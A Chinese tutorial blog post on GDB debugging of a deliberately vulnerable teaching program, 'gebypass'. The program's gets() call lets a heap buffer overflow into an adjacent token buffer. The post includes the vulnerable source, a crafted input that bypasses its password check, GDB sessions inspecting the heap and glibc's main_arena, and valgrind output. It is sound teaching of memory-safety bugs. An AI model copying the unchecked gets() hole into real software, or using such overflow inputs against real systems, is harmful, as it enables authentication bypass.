自学内容网 自学内容网

缓冲区溢出,数据被踩的案例学习

继续在ubuntu上学习GDB,今天要学习的是缓冲区溢出。

程序的地址:

GitHub - gedulab/gebypass: bypass password by heap buffer overflow

编译的方法:

gcc -g -O2 -o gebypass gebypass.c

照例设置一下科学shangwang代理:

export https_proxy="https://xxx:8080",为的是能下载符号。

这个代码通俗易懂,就一个.c文件,主要是使用最传统的gets方法,没有判断输入的内容是否超过了缓冲区长度,造成了buffer的输入覆盖了token内存,token内存被填入了刻意准备的值,绕过了鉴权,登录了系统。程序如下:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <ctype.h>
#include <string.h>

#define GE_MAX_PASSWORD 20
#define GE_TOKEN_SIZE 26
#define GE_TOKEN_PREFIX "#TOKEN#"
#define GE_MINI_PASSWORD 6

int ge_set_token(char* user_token, int size) {
    if(size < GE_TOKEN_SIZE)
        return -1;
    snprintf(user_token, size, "%s:%08d%08d#", GE_TOKEN_PREFIX, getpid(), getpid());
    return 0;
}

int ge_check_token(char* user_token, int size) {
    int i;
    if(strncmp(user_token, GE_TOKEN_PREFIX, strlen(GE_TOKEN_PREFIX))!=0) {
        return -1;
    }
    char* ptr = user_token + strlen(GE_TOKEN_PREFIX)+1;
    for(i=0; i<16; i++) {
        if(isdigit(*ptr) == 0) {
            return -1;
        }
        ptr++;
    }
    if(*ptr != '#') {
        return -1;
    }
    return 0;
}

void ge_auth(const char* input, char* user_token, int size) {
    // check the password via user database etc.
    if(strcmp(input, "$$secret$$") == 0) {
        printf("Your password is correct\n");
        ge_set_token(user_token, size);
    } else {
        printf("You have entered the incorrect password\n");
    }
}

int main() {
    int ret = -1;
    char* buffer = (char*)malloc(GE_MAX_PASSWORD);  //20
    char* token = (char*)malloc(GE_TOKEN_SIZE);     //26

    puts("Please enter password:");
    if(gets(buffer) == NULL || strlen(buffer) < GE_MINI_PASSWORD) {
        printf("password is too short %ld\n", strlen(buffer));
        goto tag_exit;
    }
    ge_auth(buffer, token, GE_TOKEN_SIZE);

    if(ge_check_token(token, GE_TOKEN_SIZE) != 0) {
        printf("Login failed. You are denied.\n");
        goto tag_exit;
    }
    printf("Login succeeded. You are welcome.\n");
    puts("You can do privileged operations now...\n");
    getchar();
    ret = 0;

tag_exit:
    free(buffer);
    free(token);

    return ret;    
}

上GDB调试:

gdb ./gebypass

b main  -- 设置断点

r  -- run起来,会提示下载源码,前面我们设置的proxy,顺利下载。

l  --list一下源码,可以看到

(gdb) p buffer
$1 = <optimized out>
(gdb) p token
$2 = <optimized out>
(gdb) n
49          char* buffer = (char*)malloc(GE_MAX_PASSWORD);  //20
(gdb) n
50          char* token = (char*)malloc(GE_TOKEN_SIZE);     //26
(gdb) n
52          puts("Please enter password:");
(gdb) p bu
buf                     bufsize                 build_trtable           build_wcs_upper_buffer  builtin_modules
buffer                  build_charclass         build_trtable[cold]     builtin_aliases
buffer_size             build_charclass_op      build_wcs_buffer        builtin_map
(gdb) p buffer
$3 = 0x5555555592a0 ""
(gdb) p token
$4 = 0x5555555592c0 ""  --token紧挨着buffer

查看进程内存:

(gdb) !ps
    PID TTY          TIME CMD
   3138 pts/0    00:00:00 bash
   3290 pts/0    00:00:02 gdb
   3296 pts/0    00:00:00 gebypass
   5612 pts/0    00:00:00 ps
(gdb) !cat /proc/3296/maps
555555554000-555555555000 r--p 00000000 08:02 3969804                    /home/zxl/gelabs/gtk/bypass/gebypass
555555555000-555555556000 r-xp 00001000 08:02 3969804                    /home/zxl/gelabs/gtk/bypass/gebypass
555555556000-555555557000 r--p 00002000 08:02 3969804                    /home/zxl/gelabs/gtk/bypass/gebypass
555555557000-555555558000 r--p 00002000 08:02 3969804                    /home/zxl/gelabs/gtk/bypass/gebypass
555555558000-555555559000 rw-p 00003000 08:02 3969804                    /home/zxl/gelabs/gtk/bypass/gebypass
555555559000-55555557a000 rw-p 00000000 00:00 0                          [heap]
7ffff7d90000-7ffff7d93000 rw-p 00000000 00:00 0
7ffff7d93000-7ffff7dbb000 r--p 00000000 08:02 4219286                    /usr/lib/x86_64-linux-gnu/libc.so.6
7ffff7dbb000-7ffff7f43000 r-xp 00028000 08:02 4219286                    /usr/lib/x86_64-linux-gnu/libc.so.6
7ffff7f43000-7ffff7f92000 r--p 001b0000 08:02 4219286                    /usr/lib/x86_64-linux-gnu/libc.so.6
7ffff7f92000-7ffff7f96000 r--p 001fe000 08:02 4219286                    /usr/lib/x86_64-linux-gnu/libc.so.6
7ffff7f96000-7ffff7f98000 rw-p 00202000 08:02 4219286                    /usr/lib/x86_64-linux-gnu/libc.so.6
7ffff7f98000-7ffff7fa5000 rw-p 00000000 00:00 0
7ffff7fbd000-7ffff7fbf000 rw-p 00000000 00:00 0
7ffff7fbf000-7ffff7fc3000 r--p 00000000 00:00 0                          [vvar]
7ffff7fc3000-7ffff7fc5000 r-xp 00000000 00:00 0                          [vdso]
7ffff7fc5000-7ffff7fc6000 r--p 00000000 08:02 4215471                    /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7ffff7fc6000-7ffff7ff1000 r-xp 00001000 08:02 4215471                    /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7ffff7ff1000-7ffff7ffb000 r--p 0002c000 08:02 4215471                    /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7ffff7ffb000-7ffff7ffd000 r--p 00036000 08:02 4215471                    /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7ffff7ffd000-7ffff7fff000 rw-p 00038000 08:02 4215471                    /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0                          [stack]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0                  [vsyscall]
能看到刚刚malloc建立的堆块。

在ge_auth函数设置断点

(gdb) b ge_auth
Breakpoint 2 at 0x555555555460: ge_auth. (2 locations)
(gdb) l ge_auth
file: "/usr/include/x86_64-linux-gnu/bits/stdio2.h", line number: 86, symbol: "ge_auth"
81      }
82
83      __fortify_function int
84      printf (const char *__restrict __fmt, ...)
85      {
86        return __printf_chk (__USE_FORTIFY_LEVEL - 1, __fmt, __va_arg_pack ());
87      }
88      # elif !defined __cplusplus
89      #  define printf(...) \
90        __printf_chk (__USE_FORTIFY_LEVEL - 1, __VA_ARGS__)
file: "gebypass.c", line number: 37, symbol: "ge_auth"
32              return -1;
33          }
34          return 0;
35      }
36
37      void ge_auth(const char* input, char* user_token, int size) {
38          // check the password via user database etc.
39          if(strcmp(input, "$$secret$$") == 0) {
40              printf("Your password is correct\n");
41              ge_set_token(user_token, size);
(gdb) c
Continuing.
Please enter password:
$$secret$$

Breakpoint 2.1, ge_auth (input=0x5555555592a0 "$$secret$$", user_token=0x5555555592c0 "", size=26) at gebypass.c:37
37      void ge_auth(const char* input, char* user_token, int size) {
 

下面再跟踪一下异常覆盖的情况:

重新run,这次输入特殊的串:

(gdb) r
Starting program: /home/zxl/gelabs/gtk/bypass/gebypass

This GDB supports auto-downloading debuginfo from the following URLs:
  <https://debuginfod.ubuntu.com>
Enable debuginfod for this session? (y or [n]) y
Debuginfod has been enabled.
To make this setting permanent, add 'set debuginfod enabled on' to .gdbinit.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main () at gebypass.c:47
47      int main() {
(gdb) info b
Num     Type           Disp Enb Address            What
1       breakpoint     keep y   0x00005555555551c0 in main at gebypass.c:47
        breakpoint already hit 1 time
(gdb) c
Continuing.
Please enter password:
01234567890abcdefghijklmnopqrstu#TOKEN#:0002381800023638#

第一次少输入了一个0,结果错位了,造成没有到达token的条件,验证失败。所以这个串必须精心设计。

继续单步跟踪,提示输入错误:

(gdb) b ge_auth
Breakpoint 2 at 0x555555555460: ge_auth. (2 locations)
(gdb) c
Continuing.
Please enter password:
01234567890abcdefghijklmnopqrstu#TOKEN#:0002381800023638#

Breakpoint 2.1, ge_auth (input=0x5555555592a0 "01234567890abcdefghijklmnopqrstu#TOKEN#:0002381800023638#",
    user_token=0x5555555592c0 "#TOKEN#:0002381800023638#", size=26) at gebypass.c:37
37      void ge_auth(const char* input, char* user_token, int size) {
(gdb) n
39          if(strcmp(input, "$$secret$$") == 0) {
(gdb) p input
$1 = 0x5555555592a0 "01234567890abcdefghijklmnopqrstu#TOKEN#:0002381800023638#"
(gdb) n
86        return __printf_chk (__USE_FORTIFY_LEVEL - 1, __fmt, __va_arg_pack ());
(gdb) n
43              printf("You have entered the incorrect password\n");
(gdb) l
38          // check the password via user database etc.
39          if(strcmp(input, "$$secret$$") == 0) {
40              printf("Your password is correct\n");
41              ge_set_token(user_token, size);
42          } else {
43              printf("You have entered the incorrect password\n");
44          }
45      }
46
47      int main() {
(gdb)
接下来检查token

(gdb) n
main () at gebypass.c:59
59          if(ge_check_token(token, GE_TOKEN_SIZE) != 0) {
(gdb) l
54              printf("password is too short %ld\n", strlen(buffer));
55              goto tag_exit;
56          }
57          ge_auth(buffer, token, GE_TOKEN_SIZE);
58
59          if(ge_check_token(token, GE_TOKEN_SIZE) != 0) {
60              printf("Login failed. You are denied.\n");
61              goto tag_exit;
62          }
63          printf("Login succeeded. You are welcome.\n");
(gdb) n
63          printf("Login succeeded. You are welcome.\n");
(gdb) p token
$2 = 0x5555555592c0 "#TOKEN#:0002381800023638#"
token值符合要求

(gdb) p buffer  --超出了20个字节
$3 = 0x5555555592a0 "01234567890abcdefghijklmnopqrstu#TOKEN#:0002381800023638#"
(gdb) p token
$4 = 0x5555555592c0 "#TOKEN#:0002381800023638#"

重新运行,认识堆。ptmalloc的堆管理方式,有个一个主场地 main_arena

Breakpoint 1, main () at gebypass.c:47
47      int main() {
(gdb) p main_arena  --开始主场地大部分是0,
$5 = {mutex = 0, flags = 0, have_fastchunks = 0, fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, top = 0x0,
  last_remainder = 0x0, bins = {0x0 <repeats 254 times>}, binmap = {0, 0, 0, 0}, next = 0x7ffff7f96ac0 <main_arena>,
  next_free = 0x0, attached_threads = 1, system_mem = 0, max_system_mem = 0}
(gdb) p &main_arena --它本身在glibc中
$6 = (struct malloc_state *) 0x7ffff7f96ac0 <main_arena>
(gdb) !ps
    PID TTY          TIME CMD
   3138 pts/0    00:00:00 bash
   5884 pts/0    00:00:03 gdb
   6063 pts/0    00:00:00 gebypass
   6358 pts/0    00:00:00 ps
(gdb) !cat /proc/6063/maps
555555554000-555555555000 r--p 00000000 08:02 3969804                    /home/zxl/gelabs/gtk/bypass/gebypass
555555555000-555555556000 r-xp 00001000 08:02 3969804                    /home/zxl/gelabs/gtk/bypass/gebypass
555555556000-555555557000 r--p 00002000 08:02 3969804                    /home/zxl/gelabs/gtk/bypass/gebypass
555555557000-555555558000 r--p 00002000 08:02 3969804                    /home/zxl/gelabs/gtk/bypass/gebypass
555555558000-555555559000 rw-p 00003000 08:02 3969804                    /home/zxl/gelabs/gtk/bypass/gebypass
7ffff7d90000-7ffff7d93000 rw-p 00000000 00:00 0
7ffff7d93000-7ffff7dbb000 r--p 00000000 08:02 4219286                    /usr/lib/x86_64-linux-gnu/libc.so.6
7ffff7dbb000-7ffff7f43000 r-xp 00028000 08:02 4219286                    /usr/lib/x86_64-linux-gnu/libc.so.6
7ffff7f43000-7ffff7f92000 r--p 001b0000 08:02 4219286                    /usr/lib/x86_64-linux-gnu/libc.so.6
7ffff7f92000-7ffff7f96000 r--p 001fe000 08:02 4219286                    /usr/lib/x86_64-linux-gnu/libc.so.6
7ffff7f96000-7ffff7f98000 rw-p 00202000 08:02 4219286                    /usr/lib/x86_64-linux-gnu/libc.so.6
7ffff7f98000-7ffff7fa5000 rw-p 00000000 00:00 0
7ffff7fbd000-7ffff7fbf000 rw-p 00000000 00:00 0
7ffff7fbf000-7ffff7fc3000 r--p 00000000 00:00 0                          [vvar]
7ffff7fc3000-7ffff7fc5000 r-xp 00000000 00:00 0                          [vdso]
7ffff7fc5000-7ffff7fc6000 r--p 00000000 08:02 4215471                    /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7ffff7fc6000-7ffff7ff1000 r-xp 00001000 08:02 4215471                    /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7ffff7ff1000-7ffff7ffb000 r--p 0002c000 08:02 4215471                    /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7ffff7ffb000-7ffff7ffd000 r--p 00036000 08:02 4215471                    /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7ffff7ffd000-7ffff7fff000 rw-p 00038000 08:02 4215471                    /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0                          [stack]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0                  [vsyscall]
(gdb) s
49          char* buffer = (char*)malloc(GE_MAX_PASSWORD);  //20
(gdb) s
Download failed: 无效的参数.  Continuing without source file ./malloc/./malloc/malloc.c.
0x00007ffff7e40654 in __GI___libc_malloc (bytes=bytes@entry=20) at ./malloc/malloc.c:3301
warning: 3301   ./malloc/malloc.c: 没有那个文件或目录 --没有源码,看不了。

需要下载源码:

zxl@qwq:~$ cat /etc/apt/sources.list
# Ubuntu sources have moved to /etc/apt/sources.list.d/ubuntu.sources
zxl@qwq:~$ cat  /etc/apt/sources.list.d/ubuntu.sources
Types: deb deb-src
URIs: http://mirrors.huaweicloud.com/repository/ubuntu/
Suites: noble noble-updates noble-security noble-backports
Components: main restricted universe
Signed-By: /usr/share/keyrings/ubuntu-archive-keyring.gpg
说明已经设置了HW的网站作为下载网站。deb-src

开始下载:

zxl@qwq:~$ sudo apt source lib
[sudo] zxl 的密码:
正在读取软件包列表... 完成
E: 无法找到与 lib 对应的源代码包
zxl@qwq:~$ sudo apt source glibc
正在读取软件包列表... 完成
提示:glibc 的打包工作被维护于以下位置的 Git 版本控制系统中:
https://git.launchpad.net/~ubuntu-core-dev/ubuntu/+source/glibc
请使用:
git clone https://git.launchpad.net/~ubuntu-core-dev/ubuntu/+source/glibc
获得该软件包的最近更新(可能尚未正式发布)。
需要下载 19.0 MB 的源代码包。
获取:1 http://mirrors.huaweicloud.com/repository/ubuntu noble-updates/main glibc 2.39-0ubuntu8.3 (dsc) [9,213 B]
获取:2 http://mirrors.huaweicloud.com/repository/ubuntu noble-updates/main glibc 2.39-0ubuntu8.3 (tar) [18.5 MB]
获取:3 http://mirrors.huaweicloud.com/repository/ubuntu noble-updates/main glibc 2.39-0ubuntu8.3 (asc) [833 B]
获取:4 http://mirrors.huaweicloud.com/repository/ubuntu noble-updates/main glibc 2.39-0ubuntu8.3 (diff) [463 kB]
已下载 19.0 MB,耗时 2秒 (9,716 kB/s)
dpkg-source: info: extracting glibc in glibc-2.39
dpkg-source: info: unpacking glibc_2.39.orig.tar.xz
dpkg-source: info: unpacking glibc_2.39-0ubuntu8.3.debian.tar.xz
dpkg-source: info: using patch list from debian/patches/series
dpkg-source: info: applying git-updates.diff
dpkg-source: info: applying locale/check-unknown-symbols.diff
dpkg-source: info: applying locale/locale-print-LANGUAGE.diff
dpkg-source: info: applying locale/LC_IDENTIFICATION-optional-fields.diff
dpkg-source: info: applying localedata/sort-UTF8-first.diff
dpkg-source: info: applying localedata/supported.diff
dpkg-source: info: applying localedata/locale-eu_FR.diff
......

dpkg-source: info: applying CVE-2024-33600_2.patch
dpkg-source: info: applying CVE-2024-33601_33602.patch
W: 由于文件'glibc_2.39-0ubuntu8.3.dsc'无法被用户'_apt'访问,已脱离沙盒并提权为根用户来进行下载。 - pkgAcquire::Run (13: 权限不够)
zxl@qwq:~$ ls
 公共的   examples.desktop                      idea                         orange
 模板     gegdb                                 IdeaProjects                 pg
 视频     gelabs                                java                         
 图片     glibc-2.39                            lmos                         rust
 文档     glibc_2.39-0ubuntu8.3.debian.tar.xz

malloc在:q:~/glibc-2.39/malloc$ pwd
/home/zxl/glibc-2.39/malloc

回到GDB设置源码路径

(gdb) bt
#0  0x00007ffff7e40654 in __GI___libc_malloc (bytes=bytes@entry=20) at ./malloc/malloc.c:3301
#1  0x00005555555551d2 in main () at gebypass.c:49
(gdb) dir /home/zxl/glibc-2.39/malloc
Source directories searched: /home/zxl/glibc-2.39/malloc:$cdir:$cwd
(gdb) l   --再调用list就可以看到源码了。不错
3296      void *victim;
3297
3298      _Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2,
3299                      "PTRDIFF_MAX is not more than half of SIZE_MAX");
3300
3301      if (!__malloc_initialized)
3302        ptmalloc_init ();
3303    #if USE_TCACHE
3304      /* int_free also calls request2size, be careful to not pad twice.  */
3305      size_t tbytes = checked_request2size (bytes);
可以跟着一下malloc的细节

分配完成后,再看堆空间,就多了

(gdb) !cat /proc/6063/maps
555555554000-555555555000 r--p 00000000 08:02 3969804                    /home/zxl/gelabs/gtk/bypass/gebypass
555555555000-555555556000 r-xp 00001000 08:02 3969804                    /home/zxl/gelabs/gtk/bypass/gebypass
555555556000-555555557000 r--p 00002000 08:02 3969804                    /home/zxl/gelabs/gtk/bypass/gebypass
555555557000-555555558000 r--p 00002000 08:02 3969804                    /home/zxl/gelabs/gtk/bypass/gebypass
555555558000-555555559000 rw-p 00003000 08:02 3969804                    /home/zxl/gelabs/gtk/bypass/gebypass
555555559000-55555557a000 rw-p 00000000 00:00 0                          [heap]
7ffff7d90000-7ffff7d93000 rw-p 00000000 00:00 0
7ffff7d93000-7ffff7dbb000 r--p 00000000 08:02 4219286                    /usr/lib/x86_64-linux-gnu/libc.so.6
7ffff7dbb000-7ffff7f43000 r-xp 00028000 08:02 4219286                    /usr/lib/x86_64-linux-gnu/libc.so.6
7ffff7f43000-7ffff7f92000 r--p 001b0000 08:02 4219286                    /usr/lib/x86_64-linux-gnu/libc.so.6
7ffff7f92000-7ffff7f96000 r--p 001fe000 08:02 4219286                    /usr/lib/x86_64-linux-gnu/libc.so.6
7ffff7f96000-7ffff7f98000 rw-p 00202000 08:02 4219286                    /usr/lib/x86_64-linux-gnu/libc.so.6
7ffff7f98000-7ffff7fa5000 rw-p 00000000 00:00 0
再看主场地也变化了:

(gdb) p main_arena
$8 = {mutex = 0, flags = 0, have_fastchunks = 0, fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
  top = 0x5555555592e0, last_remainder = 0x0, bins = {0x7ffff7f96b20 <main_arena+96>, 0x7ffff7f96b20 <main_arena+96>,
    0x7ffff7f96b30 <main_arena+112>, 0x7ffff7f96b30 <main_arena+112>, 0x7ffff7f96b40 <main_arena+128>,
    0x7ffff7f96b40 <main_arena+128>, 0x7ffff7f96b50 <main_arena+144>, 0x7ffff7f96b50 <main_arena+144>,
    0x7ffff7f96b60 <main_arena+160>, 0x7ffff7f96b60 <main_arena+160>, 0x7ffff7f96b70 <main_arena+176>,
    0x7ffff7f96b70 <main_arena+176>, 0x7ffff7f96b80 <main_arena+192>, 0x7ffff7f96b80 <main_arena+192>,
    0x7ffff7f96b90 <main_arena+208>, 0x7ffff7f96b90 <main_arena+208>, 0x7ffff7f96ba0 <main_arena+224>,
    0x7ffff7f96ba0 <main_arena+224>, 0x7ffff7f96bb0 <main_arena+240>, 0x7ffff7f96bb0 <main_arena+240>,
    0x7ffff7f96bc0 <main_arena+256>, 0x7ffff7f96bc0 <main_arena+256>, 0x7ffff7f96bd0 <main_arena+272>,
    0x7ffff7f96bd0 <main_arena+272>, 0x7ffff7f96be0 <main_arena+288>, 0x7ffff7f96be0 <main_arena+288>,
    0x7ffff7f96bf0 <main_arena+304>, 0x7ffff7f96bf0 <main_arena+304>, 0x7ffff7f96c00 <main_arena+320>,
    0x7ffff7f96c00 <main_arena+320>, 0x7ffff7f96c10 <main_arena+336>, 0x7ffff7f96c10 <main_arena+336>,
    0x7ffff7f96c20 <main_arena+352>, 0x7ffff7f96c20 <main_arena+352>, 0x7ffff7f96c30 <main_arena+368>,
 

实验的原理:如何造特殊字符串:这就不讲了,自己体会一下:

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/zxl/gelabs/gtk/bypass/gebypass
Downloading separate debug info for system-supplied DSO at 0x7ffff7fc3000
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main () at gebypass.c:47
47      int main() {
(gdb) info b
Num     Type           Disp Enb Address            What
1       breakpoint     keep y   0x00005555555551c0 in main at gebypass.c:47
        breakpoint already hit 1 time
2       breakpoint     keep y   <MULTIPLE>
2.1                         y   0x0000555555555460 in ge_auth at gebypass.c:37
2.2                         y   0x000055555555547f in ge_auth at /usr/include/x86_64-linux-gnu/bits/stdio2.h:86
(gdb) c
Continuing.
Please enter password:
1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ

Breakpoint 2.1, ge_auth (input=0x5555555592a0 "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",
    user_token=0x5555555592c0 "wxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", size=26) at gebypass.c:37
37      void ge_auth(const char* input, char* user_token, int size) {
(gdb) s
39          if(strcmp(input, "$$secret$$") == 0) {
(gdb) b ge_check_token
Breakpoint 3 at 0x5555555553f0: file gebypass.c, line 19.
(gdb) c
Continuing.
You have entered the incorrect password

Breakpoint 3, ge_check_token (user_token=user_token@entry=0x5555555592c0 "wxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", size=size@entry=26)
    at gebypass.c:19
19      int ge_check_token(char* user_token, int size) {
(gdb)
 

valgrind工具:

q:~/gelabs/gtk/bypass$ sudo apt update
[sudo] zxl 的密码:
命中:1 http://mirrors.huaweicloud.com/repository/ubuntu noble InRelease
命中:2 http://mirrors.huaweicloud.com/repository/ubuntu noble-updates InRelease
命中:3 http://mirrors.huaweicloud.com/repository/ubuntu noble-security InRelease
命中:4 http://mirrors.huaweicloud.com/repository/ubuntu noble-backports InRelease
正在读取软件包列表... 完成
正在分析软件包的依赖关系树... 完成
正在读取状态信息... 完成
有 10 个软件包可以升级。请执行 ‘apt list --upgradable’ 来查看它们。
zxl@qwq:~/gelabs/gtk/bypass$ sudo apt install valgrind
正在读取软件包列表... 完成
正在分析软件包的依赖关系树... 完成
正在读取状态信息... 完成

wq:~/gelabs/gtk/bypass$ valgrind --version
valgrind-3.22.0
zxl@qwq:~/gelabs/gtk/bypass$ valgrind ./gebypass
==7220== Memcheck, a memory error detector
==7220== Copyright (C) 2002-2022, and GNU GPL'd, by Julian Seward et al.
==7220== Using Valgrind-3.22.0 and LibVEX; rerun with -h for copyright info
==7220== Command: ./gebypass
==7220==
Please enter password:
1111111111112222222222222222222222333333333333333333333333333333333
==7220== Invalid write of size 8
==7220==    at 0x4850643: memcpy@GLIBC_2.2.5 (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==7220==    by 0x48F8FE3: memcpy (string_fortified.h:29)
==7220==    by 0x48F8FE3: _IO_getline_info (iogetline.c:96)
==7220==    by 0x48F91DD: gets (iogets.c:54)
==7220==    by 0x1091F7: main (gebypass.c:53)
==7220==  Address 0x4a87050 is 16 bytes inside a block of size 20 alloc'd
==7220==    at 0x4846828: malloc (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==7220==    by 0x1091D1: main (gebypass.c:49)
==7220==
==7220== Invalid write of size 8
==7220==    at 0x485064B: memcpy@GLIBC_2.2.5 (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==7220==    by 0x48F8FE3: memcpy (string_fortified.h:29)
==7220==    by 0x48F8FE3: _IO_getline_info (iogetline.c:96)
==7220==    by 0x48F91DD: gets (iogets.c:54)
==7220==    by 0x1091F7: main (gebypass.c:53)
==7220==  Address 0x4a87058 is 4 bytes after a block of size 20 alloc'd
==7220==    at 0x4846828: malloc (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==7220==    by 0x1091D1: main (gebypass.c:49)
==7220==
==7220== Invalid write of size 8
==7220==    at 0x4850653: memcpy@GLIBC_2.2.5 (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==7220==    by 0x48F8FE3: memcpy (string_fortified.h:29)
==7220==    by 0x48F8FE3: _IO_getline_info (iogetline.c:96)
==7220==    by 0x48F91DD: gets (iogets.c:54)
==7220==    by 0x1091F7: main (gebypass.c:53)
==7220==  Address 0x4a87060 is 12 bytes after a block of size 20 alloc'd
==7220==    at 0x4846828: malloc (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==7220==    by 0x1091D1: main (gebypass.c:49)
==7220==
==7220== Invalid write of size 8
==7220==    at 0x4850691: memcpy@GLIBC_2.2.5 (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==7220==    by 0x48F8FE3: memcpy (string_fortified.h:29)
==7220==    by 0x48F8FE3: _IO_getline_info (iogetline.c:96)
==7220==    by 0x48F91DD: gets (iogets.c:54)
==7220==    by 0x1091F7: main (gebypass.c:53)
==7220==  Address 0x4a87068 is 20 bytes after a block of size 20 alloc'd
==7220==    at 0x4846828: malloc (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==7220==    by 0x1091D1: main (gebypass.c:49)
==7220==

valgrind: m_mallocfree.c:304 (get_bszB_as_is): Assertion 'bszB_lo == bszB_hi' failed.
valgrind: Heap block lo/hi size mismatch: lo = 96, hi = 3689348814741910323.
This is probably caused by your program erroneously writing past the
end of a heap block and corrupting heap metadata.  If you fix any
invalid writes reported by Memcheck, this assertion failure will
probably go away.  Please try that before reporting this as a bug.


host stacktrace:
==7220==    at 0x58044A9A: ??? (in /usr/libexec/valgrind/memcheck-amd64-linux)
==7220==    by 0x58044BDF: ??? (in /usr/libexec/valgrind/memcheck-amd64-linux)
==7220==    by 0x58044D75: ??? (in /usr/libexec/valgrind/memcheck-amd64-linux)
==7220==    by 0x5804EDB8: ??? (in /usr/libexec/valgrind/memcheck-amd64-linux)
==7220==    by 0x5803CDCA: ??? (in /usr/libexec/valgrind/memcheck-amd64-linux)
==7220==    by 0x5803B3E7: ??? (in /usr/libexec/valgrind/memcheck-amd64-linux)
==7220==    by 0x5803FFD0: ??? (in /usr/libexec/valgrind/memcheck-amd64-linux)
==7220==    by 0x5803A260: ??? (in /usr/libexec/valgrind/memcheck-amd64-linux)
==7220==    by 0x58010887: ??? (in /usr/libexec/valgrind/memcheck-amd64-linux)
==7220==    by 0x1002E874AC: ???
==7220==    by 0x1002DA9F0F: ???

sched status:
  running_tid=1

Thread 1: status = VgTs_Runnable (lwpid 7220)
==7220==    at 0x48506E3: memcpy@GLIBC_2.2.5 (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==7220==    by 0x48F8FE3: memcpy (string_fortified.h:29)
==7220==    by 0x48F8FE3: _IO_getline_info (iogetline.c:96)
==7220==    by 0x48F91DD: gets (iogets.c:54)
==7220==    by 0x1091F7: main (gebypass.c:53)
client stack range: [0x1FFEFFE000 0x1FFF000FFF] client SP: 0x1FFEFFFF18
valgrind stack range: [0x1002CAA000 0x1002DA9FFF] top usage: 18232 of 1048576


Note: see also the FAQ in the source distribution.
It contains workarounds to several common problems.
In particular, if Valgrind aborted or crashed after
identifying problems in your program, there's a good chance
that fixing those problems will prevent Valgrind aborting or
crashing, especially if it happened in m_mallocfree.c.

If that doesn't help, please report this bug to: www.valgrind.org

In the bug report, send all the above text, the valgrind
version, and what OS and version you are using.  Thanks.